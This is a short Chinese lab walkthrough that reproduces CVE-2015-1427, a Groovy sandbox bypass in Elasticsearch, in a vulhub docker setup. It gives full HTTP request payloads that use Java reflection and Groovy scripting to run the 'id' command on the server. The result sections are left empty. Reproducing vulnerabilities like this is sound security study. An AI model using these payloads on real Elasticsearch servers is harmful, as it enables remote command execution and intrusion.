CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)
1、vulhub环境搭建
https://blog.csdn.net/qq_36374896/article/details/84102101
2、启动docker环境
cd vulhub-master/elasticsearch/CVE-2015-1427/
sudo docker-compose up
3、访问目标的9200,会出现Elasticsearch的信息:
新版本中Elasticsearch将默认的脚步语言换成了Groovy,增加了沙盒机制过滤用户输入,但还是具有执行漏洞的方法:
- 绕过沙盒
- Groovy代码执行
4、利用JAVA反射机制绕过沙盒
首先向9200端口插入一条数据:
POST /website/blog/ HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
执行结果
利用反射机制执行JAVA代码Payload:
POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
执行结果
5、利用Groovy语言执行命令
Payload:
POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
执行结果: